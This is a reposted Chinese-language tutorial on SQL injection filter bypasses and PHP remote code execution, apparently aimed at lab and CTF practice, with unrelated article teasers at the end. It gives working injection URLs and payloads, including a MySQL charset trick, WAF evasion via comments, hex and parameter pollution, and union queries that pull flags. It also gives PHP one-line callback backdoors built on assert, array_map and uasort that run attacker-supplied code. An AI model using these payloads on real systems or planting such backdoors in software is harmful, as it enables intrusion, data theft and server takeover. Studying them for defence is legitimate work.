sql注入绕过+rce

news2024/12/25 12:53:20

目录

1、mysql编码绕过

1.1、环境搭建

1.1.1、源码

1.1.2、数据库

1.1.3、检测环境

1.2、绕过技巧

1.2.1、直接使用admin,查询数据,发现权限被拒绝

1.2.2、加上单引号绕过了,但是查询不到数据

1.2.3、试试其他特殊字符,发现c2编码的字符被忽略,成功的查出数据

1.3、编码绕过的原因

1.3.1、字符集的转换

1.3.2、漏洞成因

1.3.3、为什么只有部分字符能使用

2、mysql绕过方法

2.1、空格绕过

2.1.1替代

2.1.2、括号

2.1.3、反引号

2.1.4、浮点数

2.2、引号

2.3、逗号

2.3.1、过滤了逗号后,可以使用join转换

2.3.2、对于盲注的那几个函数substr(),mid(),limit

2.4、比较符号

2.5、or and xor not

2.6、注释符 # (-- ) (--+)

2.7、等号(=)、关键词(如flag)被过滤

2.8、union,select,where

2.9、函数替换

2.10、http参数污染

3、RCE

3.1、php回调后门

3.1.1、call_user_func

3.1.2、array_filter、array_map

3.1.3、assert


1、mysql编码绕过

1.1、环境搭建

1.1.1、源码

<?php
$mysqli = new mysqli("localhost", "root", "root123", "demo");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

$mysqli->query("set names utf8");

$username = addslashes($_GET['username']);


if ($username === 'admin') {
    die('Permission denied!');
}

/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";

if ($result = $mysqli->query( $sql )) {
    printf("Select returned %d rows.\n", $result->num_rows);

    while ($row = $result->fetch_array(MYSQLI_ASSOC))
    {
        var_dump($row);
    }

    /* free result set */
    $result->close();
} else {
    var_dump($mysqli->error);
}

$mysqli->close();

1.1.2、数据库

create schema demo;

use demo;

CREATE TABLE `table1` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(255) COLLATE latin1_general_ci NOT NULL,
  `password` varchar(255) COLLATE latin1_general_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;

INSERT `table1` VALUES (1, 'admin', 'admin');

1.1.3、检测环境

http://localhost/test.php

浏览器显示如上图所示,就搭建完成了。

1.2、绕过技巧

查看源码发现,只能使用admin用户名来进行注入。

1.2.1、直接使用admin,查询数据,发现权限被拒绝

http://localhost/test.php?username=admin

1.2.2、加上单引号绕过了,但是查询不到数据

http://localhost/test.php?username=admin%27

1.2.3、试试其他特殊字符,发现c2编码的字符被忽略,成功的查出数据

http://localhost/test.php?username=admin%c2

1.3、编码绕过的原因

1.3.1、字符集的转换

造成这个绕过的根本原因是mysql字段的字符集和php mysqli的客户端设置的字符集不相同。

mysql字段的默认的字符集

SHOW VARIABLES LIKE 'character_set_%';

php mysqli客户端的字符集

若果要更改,使用set names utf8;命令更改

既然有差别,Mysql在执行查询的时候,就涉及到字符集的转换。

1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集

1.3.2、漏洞成因

为什么%c2会被忽略?

个人认为,虽然改变了字符集,但是mysql还是使用了默认的latin1字符集,在mysql进行字符转换时,会将不完整的字符给忽略。

例如:纵这个汉字的编码为\xe7\xba\xb5,可以依次尝试访问下面三个URL:

http://localhost/test.php?username=admin%e7

http://localhost/test.php?username=admin%e7%ba

http://localhost/test.php?username=admin%e7%ba%b5

可以发现,前两者都能成功获取到username=admin的结果,而最后一个URL,也就是当我输入纵字完整的编码时,将会被抛出一个错误:

为什么会抛出错误?原因很简单,因为latin1并不支持汉字,所以utf8汉字转换成latin1时就抛出了错误。

那前两次为什么没有抛出错误?因为前两次输入的编码并不完整,Mysql在进行编码转换时,就将其忽略了。

这个特点也导致,我们查询username=admin%e7时,%e7被省略,最后查出了username=admin的结果。

1.3.3、为什么只有部分字符能使用

简单测试了一下,发现以下结果:

\x00~\x7F: 返回空白结果
\x80~\xC1: 返回错误Illegal mix of collations
\xC2~\xEF: 返回admin的结果
\xF0~\xFF: 返回错误Illegal mix of collations
这就涉及到Mysql编码相关的知识了,先看看维基百科吧。

UTF-8编码是变长编码,可能有1~4个字节表示:

一字节时范围是[00-7F]
两字节时范围是[C0-DF][80-BF]
三字节时范围是[E0-EF][80-BF][80-BF]
四字节时范围是[F0-F7][80-BF][80-BF][80-BF]

然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中的:

所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4,这也是我在admin后面加上80-C1、F5-FF等字符时会抛出错误的原因。

但是使用四字节编码也会报错

这是因为mysql使用的utf8的字符集是阉割版的utf-8编码,mysql中的utf8字符集最长只支持三个字节。

如果你需要Mysql支持四字节的utf-8,可以使用utf8mb4编码。我将原始代码中的set names改成set names utf8mb4,再看看效果:

发现,还是不行:

2、mysql绕过方法

2.1、空格绕过

2.1.1替代

可以使用注释符/**/、%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/*!*/、两个空格、tab键替代空格

2.1.2、括号

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

select(concat(username,0x7e,password))from security.users;

2.1.3、反引号

反引号 `` 包住表名

select * from`table1`;

2.1.4、浮点数

只能用在id后面,用来让过\bunion(.*)select\b的正则

http://192.168.208.143/sqllab/Less-2/?id=-1.0union%20select%201,2,3--+

select * from users where id=8E0union select 1,2,3;
select * from users where id=8.0union select 1,2,3;

2.2、引号

过滤了引号后,可以将表名转换为十六进制

http://192.168.208.143/sqllab/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479--+

2.3、逗号

2.3.1、过滤了逗号后,可以使用join转换

http://192.168.208.143/sqllab/Less-2/?id=-1%20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(select%203)c--+

2.3.2、对于盲注的那几个函数substr(),mid(),limit

substr和mid()可以使用from for的方法解决

substr(str from pos for len) 	#在str中从第pos位截取len长的字符
mid(str from pos for len)		#在str中从第pos位截取len长的字符

mid()使用like,可以查询以什么什么开头的方式来替代

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

 limit可以用offset的方法绕过

select * from news limit 1,2
select * from news limit 1 offset 0

2.4、比较符号

(1)greatest(n1,n2,n3,...) //返回其中的最大值

select * from users where id=1 and greatest(ascii(substr(database(),1,1)),32)=115;


(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

select * from users where id=1 and strcmp(ascii(substr(database(),1,1)),114);


(3)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

2.5、or and xor not

and=&&  or=||   xor=|   not=!

2.6、注释符 # (-- ) (--+)

id=1' union select 1,2,3||'1

2.7、等号(=)、关键词(如flag)被过滤

使用like 、rlike 、regexp 或者 使用< 或者 >
select * from tb1 where name like'fl%';	# %表示0个或多个字符,_表示1个字符
select * from tb1 where name regexp'{';	#正则
select * from tb1 where name regexp('{');
select * from users where username like 'ad%';

2.8、union,select,where

1、加注释和数字绕过

/*!50000UniON SeLeCt*/

2、使用注释符拆分绕过

常用注释符

//,-- , /**/, #, --+, -- -, ;,%00,--a

用法:

U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

2.9、函数替换

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、left()、substr() ==> substring()

2.10、http参数污染

利用原理,出现两个相同参数时,php会取第二个参数。其他中间件参考如图

下面用,贷齐乐系统最新版sql注入,来进行演示;

源码:

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['username'] . "</td>";
          echo "</tr>";
      }
  }
?>

解析:

查看源码后发现i_d取了两遍,我们可以利用这一点,来进行全局污染。

在PHP中有一个特性会把.或]转化为_;我们可以利用这一特性。

http://localhost/daiqile/index.php?submit=aaaaaaaaaa&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=1

考察:

1、hpp全局污染,php接受相同参数,取后者

2、i.d在php中,自动转换i_d

3、注入绕过 = ‘’ 空格

3、RCE

3.1、php回调后门

3.1.1、call_user_func

源码:

<?php
call_user_func('assert', $_REQUEST['pass']);
?>

注入:

http://127.0.0.1/demo.php?pass=phpinfo()

3.1.2、array_filter、array_map

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

3.1.3、assert

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2036373.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python循环——九九乘法表(更加轻松的理解循环结构)

感受 首先&#xff0c;得明确意识到这个问题&#xff0c;就是我的循环结构学的一塌糊涂&#xff0c;完全不能很好的使用这个循环来实现各种九九乘法表达输出&#xff0c;这样的循环结构太差了&#xff0c;还需要我自己找时间来补充一下循环的使用&#xff0c;来拓宽自己的思考方…

【开端】Java 分页工具类运用

一、绪论 Java系统中&#xff0c;分页查询的场景随处可见&#xff0c;本节介com.baomidou.mybatisplus.core.metadata.IPage;来分页的工具类 二、分页工具类 public class PageUtils implements Serializable { private static final long serialVersionUID 1L; /**…

服务器安装哪吒面板详细教程

本文长期更新地址&#xff1a; 服务器安装哪吒面板详细教程-星零岁的博客https://blog.0xwl.com/13568.html 注&#xff1a;本文中部分内容源自网络&#xff0c;第四步中部分来自本人曾经文章&#xff1a;云服务器安装配置宝塔面板并安装基础运行环境教程-星零岁的博客 今天来讲…

Dubbo 快速掌握 这篇就够了

1. Dubbo概述 Dubbo 是一款高性能、轻量级的开源Java RPC框架&#xff0c;由阿里巴巴公司开发并在2011年开源。它主要用于解决分布式系统中服务之间的通信问题&#xff0c;支持多种协议&#xff0c;如Dubbo、HTTP、Hessian等&#xff0c;具有服务注册、服务发现、负载均衡、故…

基于大语言模型抽取文本中的实体和关系

在基于大语言模型图数据库存储中&#xff0c;要从文本中提取实体&#xff0c;实体属性和关系。 实体关系抽取是从文本中的句子里抽取出一对实体并给出实体间关系的任务。 该任务的输入是一句话&#xff0c;输出是一个spo三元组&#xff08;subject-predicate-object&#xff…

【数据结构】TreeMap和TreeSet

目录 前言TreeMap实现的接口内部类常用方法 TreeSet实现的接口常用方法 前言 Map和set是一种专门用来进行搜索的容器或者数据结构&#xff0c;其搜索的效率与其具体的实例化子类有关。 一般把搜索的数据称为关键字&#xff08;Key&#xff09;&#xff0c; 和关键字对应的称为…

【C#】知识汇总

目录 1 概述1.1 GC&#xff08;Garbage Collection&#xff09;1.1.1 为什么需要GC&#xff1f;1.1.2 GC的工作原理工作原理什么是Root&#xff1f;GC算法&#xff1a;Mark-Compact 标记压缩算法GC优化&#xff1a;Generational 分代算法 1.1.3 GC的触发时间1.1.4 如何减少垃圾…

MFC核心技术探索

原文地址&#xff1a;李浩的博客 lihaohello.top 本文采用逐步调试的方法&#xff0c;带你一起探索MFC程序的执行流程、窗体创建、消息映射、运行时类型识别、对象动态创建这些核心机制。 相信读者在深入理解这些核心机制后&#xff0c;会由衷感叹于MFC框架实现的精妙&#xf…

Outh2四种授权模式详解

1.oauth 2.0 简介 2.各个角色介绍 3.四种模式 4.授权码模式 ①&#xff1a;获取授权码 ②&#xff1a;申请授权接口 ③&#xff1a;申请token ④&#xff1a;申请token接口 5.简单模式 6.密码模式 7.客户端模式

StarRocks 存算分离 Data Cache 二三事

前言 StarRocks 存算分离模式架构中&#xff0c;数据导入后&#xff0c;会被写入远端对象存储。而对象存储由于其访问延迟较高特性&#xff0c;如果没有任何优化&#xff0c;每次查询直接访问后端对象存储&#xff0c;那么性能就会变得非常差&#xff0c;也就失去了 StarRocks…

【C#】一个项目移动了位置,或者换到其他电脑上,编译报错 Files 的值“IGEF,解决方法

文章目录 1 问题分析2 本文解决方法 一个项目可以正常运行编译的项目&#xff0c;所有路径均为相对路径。 移动了位置&#xff0c;或者换到其他电脑上&#xff0c;编译报错 Files 的值“IGEF&#xff0c; 1 问题分析 这个错误信息表明在处理文件时&#xff0c;Files 的值出…

tiktok 搜索接口请求与翻页

这几天有小伙伴问tk的搜索接口的问题, 一个是搜索热门接口请求返回 {“status_code”: 0},这个使用curl_cffi的requests库改一下指纹请求就行了。 再一个就是翻页问题 细心一些比对一下翻页参数都能做到的(小伙伴以为只改个offset就完事了) 要不然你只能得到这样的结果:…

JavaWeb—XML_Tomcat10_HTTP

一、XML XML是EXtensible MarkupLanguage的缩写&#xff0c;翻译过来就是可扩展标记语言。所以很明显&#xff0c;XML和HTML一样都是标记语言&#xff0c;也就是说它们的基本语法都是标签。 可扩展:三个字表面上的意思是XML允许自定义格式。但这不代表你可以随便写; 在XML基…

极狐GitLab 如何设置访问令牌前缀?

极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门面向中国程序员和企业提供企业级一体化 DevOps 平台&#xff0c;用来帮助用户实现需求管理、源代码托管、CI/CD、安全合规&#xff0c;而且所有的操作都是在一个平台上进行&#xff0c;省事省心省钱。可以一键安装极狐GitL…

GSON转换将Long类型转换Double导致精度丢失的问题排查

问题描述 项目中同步订单时发现一个问题&#xff0c;同一条的数据&#xff0c;order_id和item_id为Long类型&#xff0c;在同步时&#xff0c;数值变了。比如原本是6930414387088791188变成了69304143870884512001。 问题排查 经过排查发现http请求的返回参数是正常的&#…

树形结构数据数据查询优化过程

树形结构数据统计查询优化过程 初始方案&#xff1a; 组织树数据结构如下&#xff1a; 数据请求参数&#xff1a; 原技术方案&#xff1a; public List<Map<String, List<Long>>> getSelectParam(List<DepartmentQueryDTO> departmentList, Stri…

图论(二):图的度分析——度数bar图度数等级图度数直方图根据度数渲染节点颜色

本期所用数据集&#xff0c;空手道俱乐部关系数据集&#xff1a; 数据集中共有34个节点&#xff0c;每个节点代表俱乐部中的一名成员数据集中共有78条边&#xff0c;每条边表示两名成员之间的友谊关系或社交联系常见数据集格式为GML和TXT格式&#xff0c;还可能包含其他格式的…

检索增强生成算法

检索增强生成算法&#xff08;Retrieval-Augmented Generation&#xff0c;RAG)是由Patrick Lewis等人于2020年提出的&#xff08;https://arxiv.org/pdf/2005.11401&#xff09;&#xff0c;主要用于辅助大规模语言模型&#xff08;Large Language Models, LLMs&#xff09;在…

【网络】代理服务器

目录 正向代理 反向代理 个人主页&#xff1a;东洛的克莱斯韦克-CSDN博客 正向代理 正向代理&#xff08;Forward Proxy&#xff09;是一种常见的网络代理方式&#xff0c;它位于客户端和目标 服务器之间&#xff0c;代表客户端向目标服务器发送请求。正向代理服务器接收客户…

晓北斗 - 北斗七星、北斗导航系统

北斗导航 北斗卫星导航 芯片、模块、天线、板卡等基础产品,是北斗系统应用的基础。通过卫星导航专项的集智攻关,我国实现了卫星导航基础产品的自主可控,形成了完整的产业链。 北斗卫星导航系统&#xff08;Beidou Navigation Satellite System&#xff0c;简称&#xff1a;BD…